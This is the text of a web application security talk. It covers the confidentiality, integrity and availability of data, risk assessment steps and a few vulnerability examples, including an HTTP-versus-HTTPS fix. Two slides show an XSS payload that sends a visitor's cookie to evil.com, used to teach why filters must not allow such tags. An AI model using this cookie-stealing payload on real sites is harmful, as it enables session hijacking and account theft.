How to Make Application Security Suck Less

Barry Austin, CISSP
President, doBoard Inc.
barry.austin@doboard.com
Web Developer, Interactive Strategies
barry@interactivestrategies.com

Application Security Sucks?

(Original comic removed due to copyright – follow link)

http://www.dilbert.com/strips/search/?CharIDs=&After=11%2F16%2F2007&Before=11%2F16%2F2007&Order=s.DateStrip+DESC&PerPage=20&CharFilter=Any&x=29&y=8

What is Security, Really?

It's simple - patches, firewalls, anti-virus and the latest security products

The product vendors would like you to believe that.

What is Security, Really?

Preventing and fixing known security holes like XSS, SQL injection and CSRF

A good web developer might say that.

What is Security, Really?

Efficiently detecting and blocking hacking attempts

Spoken like someone who has been in the trenches.

What is Security, Really?

Complying with security rules and requirements

Smells like bureaucrats - or maybe auditors.

What is Security, Really?

So what is it, really?

Security is keeping bad events to a minimum - despite even skillful attempts to cause them.

Bad Events - Confidentiality

Sensitive information in the wrong hands or exposed:

http://www.comp.leeds.ac.uk/hannah/topright.jpg

Bad Events - Integrity

Unauthorized alteration, deletion, or addition of information, transactions, or system functionality:

http://www.engadget.com/2007/02/25/windows-based-atm-machine-hacked-gets-painted/

Bad Events - Availability

Services unavailable or unreliable:

http://www.tensionnot.com/images/images/slideshow/Priceless490.jpg

So What to Do About This?

First, identify what you have that needs protection.

- Sensitive customer data
- Confidential business information
- Computer-based services that are vital to business operations
- Regulated data or processes

What is it?

Where is it?

How does the system process and transmit it?

So What to Do About This?

Second, understand the risks and damage that bad events can cause.

How and where are your systems vulnerable?

How much damage would be caused by:

- Leaking medical records
- Tampering with financials
- System takedown

How likely is it that such things would happen?

What will that mean in terms of money?

A Tangent on Vulnerabilities

What's wrong with this?

```
$passwordHash = hash('sha1', $password);

$Connection = new RemoteService("http://remote.com/svc",
$username, $passwordHash);
```

A Tangent on Vulnerabilities

What's wrong with this?

```
$passwordHash = hash("sha1", $password);

$Connection = new RemoteService("http://remote.com/svc",
$username, $passwordHash);
```

Better:

```
$Connection = new RemoteService("https://remote.com/svc",
$username, $password);
```

A Tangent on Vulnerabilities

Suppose an application's XSS filter allows `<img>` tags.

```
<img src="javascript:window.navigate('http://evil.com/steal-cookie.php?c='+document.cookie);">
```

What are the conseqences of allowing that through?

A Tangent on Vulnerabilities

Suppose an application's XSS filter allows `<img>` tags.

```
<img src="javascript:window.navigate('http://evil.com/steal-cookie.php?c='+document.cookie);">
```

The browser sends a copy of the cookie to the script at evil.com.

A Tangent on Vulnerabilities

WordPress Cookie Authentication Vulnerability:

http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/

http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt

Fixed:

http://trac.wordpress.org/ticket/2394

A Tangent on Vulnerabilities

Application vulnerabilities are not limited to the application code.

- Physical access
- Server platform configuration
- Handling of passwords and private keys
- Temporary system changes during a crisis

So What to Do About This?

Third, decide what protective measures to take.

- Require users to prove their identity
- Filter Input, Escape Output (ref: Chris Shiflett)
- Security audits of high-value (high-risk) systems
- In-house unit testing and scenario testing
- Secure hosting environment

So What to Do About This?

Fourth, implement your chosen security controls.

- Organizational support and resources to do the right thing
- Qualified people & tools
- Focus
- Verify correctness of implementation

Execute. Execute. Execute.

So What to Do About This?

Fifth, continue to re-evaluate and update your security over time as changes happen.

- Malicious hackers get smarter and develop better tools
- New vulnerabilities are discovered and accumulate
- Application requirements change
- Human beings create regressions and other bugs

This follow-through should cover the entire life cycle.

Conclusion

Mental framework for security:

- Fundamental concepts
- Awareness of situation
- Design decisions based on risk vs cost
- Implementation (design and operation)
- Follow-through

Security up... Pain down... Sucks less.

Resources

http://www.owasp.org
http://phpsec.org
http://phpsecurity.org
http://www.sans-ssi.org
http://www.webappsec.org